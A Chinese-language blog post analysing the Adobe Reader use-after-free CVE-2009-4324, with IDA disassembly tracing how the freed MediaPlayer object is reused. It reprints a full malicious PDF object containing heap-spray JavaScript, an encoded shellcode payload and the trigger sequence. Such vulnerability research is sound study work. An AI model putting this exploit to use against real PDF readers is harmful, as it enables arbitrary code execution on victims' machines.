selph
selph
发布于 2022-10-24 / 271 阅读
0
0

Adobe Reader 漏洞分析(CVE-2009-4324)

漏洞编号:CVE-2009-4324
漏洞类型:UAF
漏洞影响:任意代码执行

漏洞介绍

Adobe Reader和Acrobat阅读器支持JavaScript。Doc.media对象的newplayer()方式存在释放后使用漏洞,可能触发可利用的内存访问破坏。远程攻击者可以通过使用ZLib压缩流的特制PDF文件来利用这个漏洞,导致执行任意代码。

实验环境

Windows XP

Adobe Reader 9.0

漏洞分析

pdf样本分析

样本来自参考资料[5],直接用记事本打开即可看到内容,根目录对象里有一个OpenAction引用的是5号对象

1 0 obj

<< /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /OpenAction 5 0 R >>

endobj

5号对象就是个JS脚本:

5 0 obj

<< /Type /Action /S /JavaScript /JS (
      
        function spray_heap()
        {
            var chunk_size, payload, nopsled;
          
            chunk_size = 0x8000;
            payload = unescape("%uc931%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%u6f13%ub102%u830e%ufceb%uf4e2%uea93%u0ef5%u026f%u4b3a%u8953%u0bcd%u0317%u855e%u1a20%u513a%u034f%u475a%u36e4%u0f3a%u3381%u9771%u86c3%u7a71%uc368%u037b%uc06e%ufa5a%u5654%u0a95%ue71a%u513a%u034b%u685a%u0ee4%u85fa%u1e30%ue5b0%u1ee4%u0f3a%u8b84%u2aed%uc16b%uce80%u890b%u3ef1%uc2ea%u02c9%u42e4%u85bd%u1e1f%u851c%u0a07%u075a%u82e4%u0e01%u026f%u663a%u5d53%uf880%u540f%uf638%uc2ec%u5eca%u7c07%uec69%u6a1c%uf029%u0ce5%uf1e6%u6188%u62d0%u2c0c%u76d4%u020a%u0eb1");
            nopsled = unescape("%u0d0d%u0d0d");
            while (nopsled.length < chunk_size)
                nopsled += nopsled;
            nopsled_len = chunk_size - (payload.length + 20);      
            nopsled = nopsled.substring(0, nopsled_len);
            heap_chunks = new Array();
            for (var i = 0 ; i < 1200 ; i++)
                heap_chunks[i] = nopsled + payload;
        }  
       
        function trigger_bug()
        {
            util.printd("1.000000000000000000000000 : 0000000", new Date());
            try {
                media.newPlayer(null);
            } catch(e) {}
            util.printd("1.000000000000000000000000 : 0000000", new Date());
        }
      
        spray_heap();
        trigger_bug();
      
        ) >>

endobj

这里有两个函数被依次调用,一个是堆喷射,这个已经见了好多次了,就不解释了

另一个是触发漏洞的函数,Doc.media对象的newplayer()方法存在UAF漏洞

poc调试

修改shellcode,在前面加上0xCC,然后运行,报错了点调试:成功断在了shellcode里,找上一层函数调用看看是怎么回事

image

上一层调用:

可以看到,出问题的模块是multmedia.api,这里调用了edx+4的地址,而edx的值来自eax,eax的值是代码里util.printd("1.000000000000000000000000 : 0000000", new Date()); ​的参数

image

从eax里取值得到的结果是2E0031:

image

edx+4这个地址的值正好可以当作是一个高位地址来用,只需要配合堆喷射,让这个地址能被执行

回顾一下漏洞触发的代码:

            util.printd("1.000000000000000000000000 : 0000000", new Date());
            try {
                media.newPlayer(null);
            } catch(e) {}
            util.printd("1.000000000000000000000000 : 0000000", new Date());

显然,代码里的这个edx的值是可以控制的,那么问题来了,这个printd方法调用的参数为什么会出现在media模块执行的方法中呢?

漏洞调试分析

漏洞类型是UAF,内存是被释放后又被滥用,对于UAF漏洞,通常是一个被释放的东西,在后续访问的时候,仅通过是否为0来判断,导致如果在这之间填入了其他的值,会绕过是否释放的判断,继续执行

首先来找一下这个我们输入的数据是怎么出现的

首先这里是进入shellcode的位置,这里就是通过判断eax是否为0来选择是否跳过下面的执行,接下来去跟进这个函数

.text:2D842D0E E8 98 FB FF FF                call    sub_2D8428AB
.text:2D842D0E
.text:2D842D13 85 C0                         test    eax, eax                        ; eax是上面那个函数的返回值
.text:2D842D15 59                            pop     ecx
.text:2D842D16 74 17                         jz      short loc_2D842D2F              ; 如果eax返回的值是0,则跳转
.text:2D842D16
.text:2D842D18 8B 10                         mov     edx, [eax]                      ; edx来自eax
.text:2D842D1A 8B C8                         mov     ecx, eax
.text:2D842D1C FF 52 04                      call    dword ptr [edx+4]               ; Trigger

sub_2D8428AB:进去以后,使用参数MediaPlayer_This字符串调用了下一个函数

.text:2D8428AB 68 D8 B6 8C 2D                push    offset aMediaplayerThi          ; "MediaPlayer_This"
.text:2D8428B0 FF 74 24 08                   push    [esp+4+arg_0]                   ; 获取偏移
.text:2D8428B4 E8 12 B4 FD FF                call    sub_2D81DCCB

sub_2D81DCCB:这个函数里的call [eax+23Ch]调用里出现了我们填充的内容,继续跟进

.text:2D81DCCB 55                            push    ebp
.text:2D81DCCC 8B EC                         mov     ebp, esp
.text:2D81DCCE 83 EC 44                      sub     esp, 44h
.text:2D81DCD1 8D 45 BC                      lea     eax, [ebp+var_44]
.text:2D81DCD4 68 DA 80 80 2D                push    offset sub_2D8080DA
.text:2D81DCD9 50                            push    eax
.text:2D81DCDA A1 B0 E0 91 2D                mov     eax, dword_2D91E0B0
.text:2D81DCDF FF 50 08                      call    dword ptr [eax+8]
.text:2D81DCDF
.text:2D81DCE2 8D 45 BC                      lea     eax, [ebp+var_44]
.text:2D81DCE5 6A 00                         push    0
.text:2D81DCE7 50                            push    eax
.text:2D81DCE8 E8 65 3E FE FF                call    _setjmp3                        ; 返回0
.text:2D81DCE8
.text:2D81DCED 83 C4 10                      add     esp, 10h
.text:2D81DCF0 85 C0                         test    eax, eax
.text:2D81DCF2 75 20                         jnz     short loc_2D81DD14
.text:2D81DCF2
.text:2D81DCF4 FF 75 0C                      push    [ebp+arg_4]
.text:2D81DCF7 A1 08 E5 91 2D                mov     eax, dword_2D91E508
.text:2D81DCFC FF 75 08                      push    [ebp+arg_0]
.text:2D81DCFF FF 90 3C 02 00 00             call    dword ptr [eax+23Ch]            ; 返回值出现我们填充的内容,返回到eax地址里,unicode形式
.text:2D81DCFF
.text:2D81DD05 59                            pop     ecx
.text:2D81DD06 89 45 FC                      mov     [ebp+var_4], eax                ; 赋值给ebp+4局部变量
.text:2D81DD09 A1 B0 E0 91 2D                mov     eax, dword_2D91E0B0
.text:2D81DD0E 59                            pop     ecx
.text:2D81DD0F FF 50 0C                      call    dword ptr [eax+0Ch]

接下来就进入escriptt.api模块了,通过动态调试跟进拿到地址:sub_2382CA2E:

.text:2382CA2E                               sub_2382CA2E proc near                  ; DATA XREF: .data:23925270↓o
.text:2382CA2E
.text:2382CA2E                               arg_0= dword ptr  4
.text:2382CA2E                               arg_4= dword ptr  8
.text:2382CA2E
.text:2382CA2E 56                            push    esi
.text:2382CA2F 8B 74 24 08                   mov     esi, [esp+4+arg_0]
.text:2382CA33 57                            push    edi
.text:2382CA34 33 FF                         xor     edi, edi
.text:2382CA36 EB 20                         jmp     short loc_2382CA58
.text:2382CA36
.text:2382CA38                               ; ---------------------------------------------------------------------------
.text:2382CA38
.text:2382CA38                               loc_2382CA38:                           ; CODE XREF: sub_2382CA2E+2C↓j
.text:2382CA38 FF 74 24 10                   push    [esp+8+arg_4]
.text:2382CA3C FF 76 10                      push    dword ptr [esi+10h]
.text:2382CA3F E8 46 AF FF FF                call    sub_2382798A                    ; 这个call里出现的数据

继续跟进sub_2382798A:

.text:238101E2 8B 4D 08                      mov     ecx, [ebp+arg_0]
.text:238101E5 8D 55 08                      lea     edx, [ebp+arg_0]
.text:238101E8 52                            push    edx                             ; int
.text:238101E9 FF 75 0C                      push    [ebp+Str1]                      ; Str1
.text:238101EC 83 E0 0F                      and     eax, 0Fh
.text:238101EF FF 74 81 40                   push    dword ptr [ecx+eax*4+40h]       ; int
.text:238101F3 8D 34 81                      lea     esi, [ecx+eax*4]
.text:238101F6 FF 36                         push    dword ptr [esi]                 ; int
.text:238101F8 E8 7A 86 04 00                call    sub_23858877                    ; 根据函数名称返回方法索引
.text:238101F8
.text:238101FD 83 C4 18                      add     esp, 18h
.text:23810200 66 83 7D 08 00                cmp     word ptr [ebp+arg_0], 0
.text:23810205 74 08                         jz      short loc_2381020F
.text:23810205
.text:23810207 8B 0E                         mov     ecx, [esi]
.text:23810209 8B 44 C1 04                   mov     eax, [ecx+eax*8+4]              ; 这里出现填充的数据
.text:2381020D EB 02                         jmp     short loc_23810211

数据来自[ecx+eax*8+4]​,执行到这里的时候,eax是0,ecx的值是字符串指针,这里最终的结果是指向这个字符串指针的下4字节的内容,正好就是我们填充的数据的指针

image

后续则一直将获取到eax的值返回,直到最后转到shellcode里

漏洞利用:通过堆喷射布置好shellcode,通过触发漏洞执行到喷射的内存上即可执行,xp上没有DEP,这里则执行shellcode畅通无阻

参考资料


评论